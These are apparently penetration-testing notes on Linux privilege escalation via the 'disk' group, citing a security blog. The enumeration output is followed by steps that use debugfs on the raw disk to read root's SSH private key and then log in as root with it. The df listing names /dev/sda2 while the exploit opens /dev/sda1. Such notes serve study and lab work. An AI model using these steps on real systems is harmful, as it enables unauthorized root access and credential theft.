Disk
https://steflan-security.com/linux-privilege-escalation-exploiting-user-groups/#disk
Enumeration
$ groups
sysadmin disk
$ df -h
Filesystem Size Used Avail Use% Mounted on
udev 445M 0 445M 0% /dev
tmpfs 98M 1.1M 97M 2% /run
/dev/sda2 9.8G 5.7G 3.7G 61% /
tmpfs 489M 0 489M 0% /dev/shm
tmpfs 5.0M 0 5.0M 0% /run/lock
tmpfs 489M 0 489M 0% /sys/fs/cgroup
/dev/loop0 71M 71M 0 100% /snap/lxd/21029
/dev/loop1 56M 56M 0 100% /snap/core18/2284
/dev/loop2 62M 62M 0 100% /snap/core20/1328
/dev/loop3 68M 68M 0 100% /snap/lxd/21835
/dev/loop4 56M 56M 0 100% /snap/core18/2128
/dev/loop5 33M 33M 0 100% /snap/snapd/12883
/dev/loop6 44M 44M 0 100% /snap/snapd/14549
tmpfs 98M 0 98M 0% /run/user/1001Exploit
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsaCopy the id_rsa and create a local file
chmod 600 id_rsa
ssh -i id_rsa root@192.168.156.181